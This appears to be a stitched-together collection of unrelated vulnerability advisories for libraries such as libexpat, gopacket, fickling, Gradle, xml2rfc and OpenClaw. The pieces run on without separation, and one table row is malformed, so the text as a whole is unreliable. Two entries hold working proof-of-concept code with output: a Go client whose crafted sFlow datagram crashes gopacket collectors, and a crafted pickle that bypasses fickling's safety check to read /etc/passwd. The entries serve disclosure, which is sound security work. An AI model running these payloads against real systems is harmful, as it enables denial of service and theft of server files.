In libexpat before 2.8.2, there is a heap-based buffer overflow in doProlog in xmlparse.c because scaffold backing array reallocation is mishandled when there is data-structure sharing across parsers.

In the context of using MD5 to generate filenames for cache keys, there are significant collision hazards that need to be considered. MD5, or Message Digest Algorithm 5, is a widely known cryptographic hash function that produces a 128-bit hash value. However, MD5 is no longer considered secure against well-funded opponents due to its vulnerability to collision attacks.

### Understanding Collisions
A collision in hashing occurs when two different inputs produce the same hash output. For MD5, this means that it is theoretically possible, and even practical, to find two distinct cache keys that result in the same MD5 hash. This vulnerability has been well-documented and exploited in various security contexts.

### Implications for Cache Systems
In a cache system where filenames are derived from the MD5 hash of cache keys, a collision could lead to several critical issues:

Data Integrity Risks: If two different keys collide, they will map to the same filename. This could result in data being overwritten incorrectly, leading to data loss or corruption.
Security Vulnerabilities: An attacker could potentially exploit collisions to manipulate cache data. For instance, by crafting a key that collides with another key, an attacker might gain unauthorized access to sensitive cached information or inject malicious data.

Unpredictable Behavior: Collisions can cause the cache system to behave unpredictably, as it may retrieve or store data in unintended files, leading to system instability or incorrect behavior.

### Mitigation Strategies
To mitigate these risks, consider the following strategies:

Use a More Secure Hash Function: Replace MD5 with a more secure hash function like SHA-256, which has a significantly lower probability of collisions and is resistant to known attack vectors.

code at:https://github.com/beego/beego/blob/bb72dc27ac3970e51d38ee52fc3dc1465ae25b9d/client/cache/file.go#L126

follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. Prior to 1.16.0, when an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target. This vulnerability is fixed in 1.16.0.

A data.all admin team member who has access to the customer-owned AWS Account where data.all is deployed may be able to extract user data from data.all application logs in data.all via CloudWatch log scanning for particular operations that interact with customer producer teams data.

## Vulnerability

In some shared-agent deployments, OpenClaw session tools (`sessions_list`, `sessions_history`, `sessions_send`) allowed broader session targeting than some operators intended. This is primarily a configuration/visibility-scoping issue in multi-user environments where peers are not equally trusted.

In Telegram webhook mode, monitor startup also did not fall back to per-account `webhookSecret` when only the account-level secret was configured.

## Typical Use Case Context

Most regular OpenClaw deployments run a single agent, or run in trusted environments. In those setups, practical risk from this issue is generally low.

## Impact

- Shared-agent, multi-user, less-trusted environments: session-tool access could expose transcript content across peer sessions.
- Single-agent or trusted environments: practical impact is limited.
- Telegram webhook mode: account-level secret wiring could be missed unless an explicit monitor webhook secret override was provided.

## Affected Packages / Versions

- Package: npm `openclaw`
- Affected versions: `<= 2026.2.14`
- Patched version: `2026.2.15` (planned next release)

## Remediation

- Add and enforce `tools.sessions.visibility` (`self | tree | agent | all`) across session tools, defaulting to `tree`.
- Keep sandbox clamping behavior so sandboxed runs can be restricted to spawned/session-tree visibility.
- Resolve Telegram webhook secret from account config fallback in monitor webhook startup.

## Fix Commit(s)

- `c6c53437f7da033b94a01d492e904974e7bda74c`

Thanks @aether-ai-agent for reporting.

ts-asn1-der is a collection of utility classes to encode ASN.1 data following DER rule. Incorrect number DER encoding can lead to denial on service for absolute values in the range 2**31 -- 2**32 - 1. The arithmetic in the numBitLen didn't take into account that values in this range could result in a negative result upon applying the >> operator, leading to an infinite loop. The issue is patched in version 1.0.4. If upgrading is not an option, the issue can be mitigated by validating inputs to Asn1Integer to ensure that they are not smaller than -2**31 + 1 and no larger than 2**31 - 1.

FastGPT is an AI Agent building platform. Prior to version 4.11.1, in the workflow file reading node, the network link is not security-verified, posing a risk of SSRF attacks. This issue has been patched in version 4.11.1.

Version [3.12.0](https://github.com/ietf-tools/xml2rfc/blob/main/CHANGELOG.md#3120---2021-12-08) changed `xml2rfc` so that it would not access local files without the presence of its new `--allow-local-file-access` flag.
This prevented XML External Entity (XXE) injection attacks with `xinclude` and XML entity references.

It was discovered that `xml2rfc` does not respect `--allow-local-file-access` when a local file is specified as `src` in `artwork` or `sourcecode` elements. Furthermore, XML entity references can include any file inside the source dir and below without using the `--allow-local-file-access` flag. 

The `xml2rfc <= 3.26.0` behaviour:

|  | `xinclude` | XML entity reference | `artwork src=` | `sourcecode src=` |
|---|---|---|---|---|
| without `--allow-local-file-access` flag | No filesystem access | Any file in xml2rfc templates dir and below, any file in source directory and below | Access source directory and below | Access source directory and below |
| with `--allow-local-file-access` flag | Access any file on filesystem[^1] | Access any file on filesystem[^1] | Access source directory and below | Access source directory and below | Access source directory and below |

  [^1]: Access any file of the filesystem with the permissions of the user running `xml2rfc` can access.

### Impact

Anyone running `xml2rfc` as a service that accepts input from external users is impacted by this issue.
Specifying a file in `src` attribute in `artwork` or `sourcecode` elements will cause the contents of that file to appear in xml2rfc’s output results.
But that file has to be inside the same directory as the XML input source file.
For `artwork` and `sourcecode`, `xml2rfc` will not look above the source file directory.

### The proposed new behaviour
- Generalize file access checks.
- Only allow access to files within src dir and below. (xml entity include can access templates dir).
- Always allow access to `templates_dir` for XML entity includes.

New behaviour:

|  | `xinclude` | XML entity reference | `artwork src=` | `sourcecode src=` |
|---|---|---|---|---|
| without `--allow-local-file-access` flag | No filesystem access | No filesystem access _(except for `templates_dir`)_ | No filesystem access | No filesystem access |
| with `--allow-local-file-access` flag | Access source directory and below | Access source directory and below _(Can access`templates_dir`)._ | Access source directory and below | Access source directory and below |

### Workarounds

Use a secure temporary directory to process un-trusted XML files, and do not reuse it for processing other XML documents.

In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_ipv4_packet_receive() function when received an Ethernet frame with less than 4 bytes of IP packet.

### Impact
Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server.

### Patches
Users should upgrade to version 3.16.1 where the `update-settings` endpoint blocks the ability for users to update the `enable_custom_filters` flag. You can find out more information on how to turn that flag on [here](https://github.com/man-group/dtale#custom-filter)

### Workarounds
The only workaround for versions earlier than 3.16.1 is to only host D-Tale to trusted users.

### References
See "Custom Filter" [documentation](https://github.com/man-group/dtale#custom-filter)


Cilium is a networking, observability, and security solution. Prior to 1.17.16, from 1.18.2 to 1.18.9, and from 1.19.0 to 1.19.3, users with the ability to create CiliumLocalRedirectPolicies can specify arbitrary ClusterIPs via addressMatcher, enabling hijacking traffic to Services in any namespace and bypassing namespace scoping enforced by serviceMatcher; deleting such a policy can also corrupt Cilium internal service state and stop service translation for the affected Service. This issue is fixed in versions 1.17.16, 1.18.10, and 1.19.4.

Botan is a C++ cryptography library. Prior to 3.12.0, certain patterns of indefinite length encodings in BER data could cause quadratic behavior in the parser, resulting in a denial of service. Such BER encodings were accepted even in structures which are required to be encoded as DER, which prohibits indefinite length encodings. This vulnerability is fixed in 3.12.0.

A vulnerability was found in Emlog Pro up to 2.4.1. It has been rated as problematic. This issue affects some unknown processing of the file /admin/plugin.php. The manipulation of the argument filter leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

## Affected Packages / Versions

- Package: `openclaw` (npm)
- Affected versions: `< 2026.4.20`
- Patched version: `2026.4.20`

## Impact

Templated hook mapping `sessionKey` values were treated differently from request-supplied session keys. A hook mapping could render an externally influenced session key even when `hooks.allowRequestSessionKey` was disabled, bypassing the intended routing opt-in for hook callers.

This affects webhook routing isolation. It does not grant host execution by itself. Severity is medium.

## Fix

Template-rendered mapping session keys are now treated as externally supplied routing input and require `hooks.allowRequestSessionKey=true` plus the existing prefix policy checks.

Fix commit:

- `5275d008ed33203dba3f98e969ad683a65c416c3`

## Release

Fixed in OpenClaw `2026.4.20`.

**Nature of issue:** Crash (Denial of Service)
**Source of issue:** Dependent package (ring)
**Affected versions of qcp:** 0.1.0-0.3.2
**Recommendation:** Upgrade to qcp 0.3.3 or later

### Who is affected

All versions of qcp from 0.1.0 to 0.3.2 are affected, but **only if built with runtime overflow checks.**

* Released qcp binaries do not enable runtime overflow checks by default. **If you use an official released qcp binary download, you are not affected.**
* If you built qcp yourself in debug mode, you are affected unless your debug configuration explicitly disables overflow checks.
* If you built qcp yourself in release mode, you are only affected if you explicitly requested runtime overflow checks at build time by setting the appropriate `RUSTFLAGS`, or in your Cargo.toml profile.

### What to do if you are affected

**We recommend you upgrade to qcp 0.3.3 or later.**
Users upgrading from versions prior to 0.3.0 should note that an incompatible protocol change was introduced in version 0.3.0, so should stage their upgrade carefully.

Alternatively, it is possible to avoid upgrading by rebuilding qcp locally. The following alternative mitigations have been identified:
* Rebuild locally with runtime overflow checks disabled
* Rebuild locally using a fixed version of the `ring` dependency (0.17.12 or later).

### Detail

The upstream advisory describes a crash in the implementation of the QUIC protocol that can be induced by a specially-crafted packet, and which happens naturally approximately every 1 in 2**32 packets sent and/or received.

The crash only happens when runtime overflow checking is enabled. Note that the upstream advisory describes the overflow check causing this issue as "unwanted". Their response, to remove the overflow check in one place, does not introduce any additional issue.

### Impact

During qcp file transfer sessions, it is possible for an attacker to send a specially-crafted packet that could trigger this issue.
* In that case, and only if qcp was built with runtime overflow checks enabled, the effect is a Rust panic which immediately aborts the transfer. There is no additional impact on system resources at either end, nor on other file transfers in progress.
* As qcp runs a separate process for every connected user, the impact of the attack is limited to a single session.

The underlying issue may also affect particularly large file transfers. The maximum TLS packet size is 16KB, so 2**32 packets will transfer up to 68TB (including the protocol/retransmit overhead). Again, this is only the case if qcp was built with runtime overflow checks enabled.

As of the time of writing, we are not aware of any reports of this issue being exploited.

#### Additional notes
* The qcp protocol itself does not rely on runtime overflow checks for its security.
* While QUIC servers are normally public-facing, [qcp is a hybrid protocol](https://docs.rs/qcp/latest/qcp/protocol/index.html) that first requires an authenticated ssh session in order to set up the QUIC session. The window of attackability is therefore reduced, though will depend on your usage profile.
* An additional layer of obscurity is provided by qcp using ephemeral, random port numbers for its QUIC traffic (subject to user configuration).

### References
Upstream advisories:
* [RUSTSEC-2025-0009](https://rustsec.org/advisories/RUSTSEC-2025-0009.html)
* https://github.com/advisories/GHSA-4p46-pwfr-66x6

If a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. `Hash.update()`), this could lead to buffer overflows. For example:

```python
h = Hash(SHA256())
b.update(buf[::-1])
```

would read past the end of the buffer on Python >3.11

Frappe is a full-stack web application framework. Prior to 16.14.0 and 15.104.0, Frappe allows unrestricted Doctype access via API exploit.

## Summary

The sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).

## Root cause (file:line @ v1.6.0)

Two sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:

1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:
```go
*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
eg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound
for j := uint32(0); j < communitiesLength; j++ { ... }
```

2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):
```go
*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])
ad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound
for i := uint32(0); i < ad.Count; i++ { ... }
```

In both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).

## Reachability (remote attacker -> sink)

The registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:

`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch).

sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.

## Impact

Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).

## Proof of Concept

This PoC is an end-to-end test against a real deployed sFlow collector. A minimal
but realistic UDP collector (built on the public gopacket API, exactly as a real
network-telemetry collector would be) runs inside a hard-capped 256 MB container;
an independent client process sends a real malicious sFlow datagram over a real
UDP socket; the collector process is then observed to die. A benign datagram is
used as a negative control.

The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at
the v1.6.0 tag, `layers/sflow.go:1306`).

### Collector (real UDP sFlow collector)

```go
// collector.go — binds a UDP socket and, for every datagram, builds a
// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives
// the registered sFlow decoder over the attacker-controlled bytes.
package main

import (
	"fmt"
	"net"
	"os"

	"github.com/gopacket/gopacket"
	"github.com/gopacket/gopacket/layers"
)

func main() {
	udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343")
	conn, err := net.ListenUDP("udp4", udpAddr)
	if err != nil {
		fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
		os.Exit(1)
	}
	defer conn.Close()
	fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr())

	buf := make([]byte, 65535)
	for {
		n, src, err := conn.ReadFromUDP(buf)
		if err != nil {
			continue
		}
		datagram := make([]byte, n)
		copy(datagram, buf[:n])
		fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src)
		pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)
		if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {
			fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n",
				dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))
		} else {
			fmt.Printf("[collector] no sFlow layer decoded\n")
		}
	}
}
```

### Client (independent process, real UDP socket, no gopacket dependency)

The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying
one ExtendedGatewayFlow (record type 1003) record and sets only its
`communitiesLength` field. For the benign case it appends real community words
plus the trailing LocalPref word so the record decodes cleanly.

```go
// client.go — usage: client <addr> <communitiesLength> [--benign]
package main

import (
	"encoding/binary"
	"fmt"
	"net"
	"os"
	"strconv"
)

func u32(b *[]byte, v uint32) {
	t := make([]byte, 4)
	binary.BigEndian.PutUint32(t, v)
	*b = append(*b, t...)
}

func buildDatagram(commLen uint32, benign bool) []byte {
	var d []byte
	u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)
	u32(&d, 1)           // SampleCount = 1
	u32(&d, 1)           // sample format -> FlowSample
	u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)
	u32(&d, 1)           // RecordCount = 1
	u32(&d, 1003)        // record format -> ExtendedGatewayFlow
	u32(&d, 0)           // FlowDataLength
	u32(&d, 1)           // gateway address type = IPv4
	u32(&d, 0x08080808)  // NextHop
	u32(&d, 0); u32(&d, 0); u32(&d, 0)
	u32(&d, 0)           // ASPathCount = 0
	u32(&d, commLen)     // communitiesLength -> make([]uint32, commLen) sink
	if benign {
		for i := uint32(0); i < commLen; i++ {
			u32(&d, 0xABCD0000+i)
		}
		u32(&d, 100) // trailing LocalPref word
	}
	return d
}

func main() {
	addr := os.Args[1]
	commLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
	benign := len(os.Args) > 3 && os.Args[3] == "--benign"
	data := buildDatagram(uint32(commLen), benign)
	raddr, _ := net.ResolveUDPAddr("udp", addr)
	conn, _ := net.DialUDP("udp", nil, raddr)
	defer conn.Close()
	conn.Write(data)
	fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n",
		len(data), commLen, benign)
}
```

### Run and observed result

The collector runs under a hard 256 MB cgroup cap with swap disabled
(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and
the host is unaffected.

Negative control (benign datagram, `communitiesLength=4`):

```
$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign
[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)

# collector log:
[collector] received 124-byte datagram from 172.18.0.3:56438
[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1
# collector status: Up (ALIVE); RSS flat at 1.5 MiB
```

Attack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):

```
$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295
[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB
[client] datagram sent over real UDP socket

# collector log (verbatim):
[collector] received 104-byte datagram from 172.18.0.3:42284
fatal error: runtime: out of memory

runtime stack:
runtime.throw(...)
runtime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested
runtime.makeslice(...)
	/usr/local/go/src/runtime/slice.go:117
github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306
github.com/gopacket/gopacket/layers.decodeFlowSample(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574
github.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321
github.com/gopacket/gopacket.NewPacket(...)
	/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767
main.main()
	/src/collector.go:54

# container final state:
Status=exited OOMKilled=false ExitCode=2
```

A single 104-byte UDP datagram, delivered over a real socket to a real
gopacket-based collector, terminates the collector process. The Go runtime tries
to `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,
and the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The
full attacker -> sink call stack is captured: `collector.go:54`
(`gopacket.NewPacket`) -> `SFlowDatagram.DecodeFromBytes` -> `decodeFlowSample`
(sflow.go:574) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1306) ->
`makeslice` -> fatal OOM. The benign control on the same collector decodes
cleanly and the process stays alive with flat RSS, confirming the
attacker-controlled `communitiesLength` field is what drives the allocation.

The host is unaffected throughout: the allocation is contained by the 256 MB
cgroup cap (no swap), and host swap stayed above 900 MB free across the run.

## Affected versions

`github.com/gopacket/gopacket` <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.

## Suggested fix

Before each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:

- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength > uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.
- `decodePath`: reject when `ad.Count > uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.

I will follow up with a fix PR via the advisory's private fork.

## References

- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).
- CWE-770: Allocation of Resources Without Limits or Throttling.

Gradle is a build tool with a focus on build automation and support for multi-language development. In affected versions when unpacking Tar archives, Gradle did not check that files could be written outside of the unpack location. This could lead to important files being overwritten anywhere the Gradle process has write permissions. For a build reading Tar entries from a Tar archive, this issue could allow Gradle to disclose information from sensitive files through an arbitrary file read. To exploit this behavior, an attacker needs to either control the source of an archive already used by the build or modify the build to interact with a malicious archive. It is unlikely that this would go unnoticed. A fix has been released in Gradle 7.6.2 and 8.2 to protect against this vulnerability. Starting from these versions, Gradle will refuse to handle Tar archives which contain path traversal elements in a Tar entry name. Users are advised to upgrade. There are no known workarounds for this vulnerability.



### Impact

This is a path traversal vulnerability when Gradle deals with Tar archives, often referenced as TarSlip, a variant of ZipSlip.

* When unpacking Tar archives, Gradle did not check that files could be written outside of the unpack location. This could lead to important files being overwritten anywhere the Gradle process has write permissions.
* For a build reading Tar entries from a Tar archive, this issue could allow Gradle to disclose information from sensitive files through an arbitrary file read.

To exploit this behavior, an attacker needs to either control the source of an archive already used by the build or modify the build to interact with a malicious archive. It is unlikely that this would go unnoticed.

Gradle uses Tar archives for its [Build Cache](https://docs.gradle.org/current/userguide/build_cache.html). These archives are safe when created by Gradle. But if an attacker had control of a remote build cache server, they could inject malicious build cache entries that leverage this vulnerability. This attack vector could also be exploited if a man-in-the-middle can be performed between the remote cache and the build.

### Patches

A fix has been released in Gradle 7.6.2 and 8.2 to protect against this vulnerability. Starting from these versions, Gradle will refuse to handle Tar archives which contain path traversal elements in a Tar entry name.

It is recommended that users upgrade to a patched version.

### Workarounds

There is no workaround.

* If your build deals with Tar archives that you do not fully trust, you need to inspect them to confirm they do not attempt to leverage this vulnerability.
* If you use the Gradle remote build cache, make sure only trusted parties have write access to it and that connections to the remote cache are properly secured.

### References

* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)
* [Gradle Build Cache](https://docs.gradle.org/current/userguide/build_cache.html)
* [ZipSlip](https://security.snyk.io/research/zip-slip-vulnerability)

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, unauthenticated users can determine whether a specific user is a member of a private group by observing changes in directory results when using the `exclude_groups` parameter. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, disable public access to the user directory via Admin → Settings → hide user profiles from public.

A vulnerability classified as critical has been found in slackero phpwcms up to 1.9.45/1.10.8. Affected is the function is_file/getimagesize of the file image_resized.php. The manipulation of the argument imgfile leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.9.46 and 1.10.9 is able to address this issue. It is recommended to upgrade the affected component.

Jervis is a library for Job DSL plugin scripts and shared Jenkins pipeline libraries. Prior to 2.2, the code doesn't validate that the JWT header specifies "alg":"RS256". This vulnerability is fixed in 2.2.

# Our analysis

As stated in the [project's security policy](https://github.com/trailofbits/fickling/security/policy), we also don't consider `UnusedVariables` bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d). 

# Original report

Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load()

### Summary
Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError.

A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load().

### Details
Interpreter.unused_assignments() does not scan the result assignment's RHS

File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242

```python
for statement in self.module_body:
    if isinstance(statement, ast.Assign):
        if (
            len(statement.targets) == 1
            and isinstance(statement.targets[0], ast.Name)
            and statement.targets[0].id == "result"
        ):
            break
        ...
        statement = statement.value
    if statement is not None:
        for node in ast.walk(statement):
            if isinstance(node, ast.Name):
                used.add(node.id)
```

When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement.

The BUILD opcode generates exactly such a non-assignment statement:

```python
# Build.run() generates:
_var4 = _var3                     # Assign  - _var3 added to used
_var4.__setstate__(_var2)         # Expr    - _var2 and _var4 added to used
```

This makes _var2 (the result of the dangerous call) appear in the used set via the __setstate__ expression, so UnusedVariables never flags it.

File: fickling/fickle.py, TupleThree.run(), and siblings

```python
def run(self, interpreter: Interpreter):
    top = interpreter.stack.pop()
    mid = interpreter.stack.pop()
    bot = interpreter.stack.pop()
    interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load()))
    #                                   ^^^^^^^^^^^^^^^^
    #                                   Python tuple, not list
```

Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables.

Demo:

```python
import ast
name = ast.Name(id='_var1', ctx=ast.Load())

# Correct (list elts) - ast.walk finds it
t = ast.Tuple(elts=[name], ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # ['_var1']

# Buggy (tuple elts) - ast.walk finds nothing
t = ast.Tuple(elts=(name,), ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # []
```

#### Combined attack - arbitrary file read

The two bugs combine with the absence of `linecache` and `difflib` from `UNSAFE_IMPORTS`:
```
from linecache import getlines      # not in UNSAFE_IMPORTS
_var0 = getlines('/etc/passwd')     # reads the file
from builtins import enumerate
_var1 = enumerate(_var0)            # _var0 in RHS - added to used
from builtins import dict
_var2 = dict(_var1)                 # _var1 in RHS - added to used; produces {0:'line1',...}
from difflib import Differ
_var3 = Differ()                    # stdlib, not in UNSAFE_IMPORTS
_var4 = _var3
_var4.__setstate__(_var2)           # BUILD Expr - _var2 and _var4 added to used
result = _var3                      # loop breaks here; nothing in defined−used
```

check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().__dict__.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller.

### PoC
`pip install fickling`

```python
#!/usr/bin/env python3
import io
import sys

import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety, Severity
from fickling.loader import load
from fickling.exception import UnsafeFileError

TARGET = "/etc/passwd"

pickled = Pickled([
    op.Proto.create(4),

    op.ShortBinUnicode("linecache"),
    op.ShortBinUnicode("getlines"),
    op.StackGlobal(),
    op.ShortBinUnicode(TARGET),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[0] = _var0 = getlines(TARGET)

    op.Global("builtins enumerate"),
    op.BinGet(0),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[1] = _var1 = enumerate(_var0)

    op.Global("builtins dict"),
    op.BinGet(1),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[2] = _var2 = dict(_var1)

    op.ShortBinUnicode("difflib"),
    op.ShortBinUnicode("Differ"),
    op.StackGlobal(),
    op.EmptyTuple(),
    op.Reduce(),
    op.Memoize(),                   # memo[3] = _var3 = Differ()

    op.BinGet(2),                   # push _var2 as BUILD state
    op.Build(),                     # _var4=_var3; _var4.__setstate__(_var2)

    op.BinGet(3),
    op.Stop(),
])

result = check_safety(pickled)
assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}"
print(f"[+] check_safety verdict : {result.severity.name}  (bypass confirmed)")

buf = io.BytesIO()
pickled.dump(buf)

obj = load(io.BytesIO(buf.getvalue()))
lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)}

print(f"[+] fickling.load() returned : {type(obj).__name__}")
print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n")
for i in sorted(lines):
    print(f"{lines[i]}", end="")
```

### Result

```
[+] check_safety verdict : LIKELY_SAFE  (bypass confirmed)
[+] fickling.load() returned : Differ
[+] /etc/passwd - 58 lines exfiltrated:

    root:x:0:0:root:/root:/usr/bin/zsh
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
    dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
    systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin

```

### Impact
Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API.

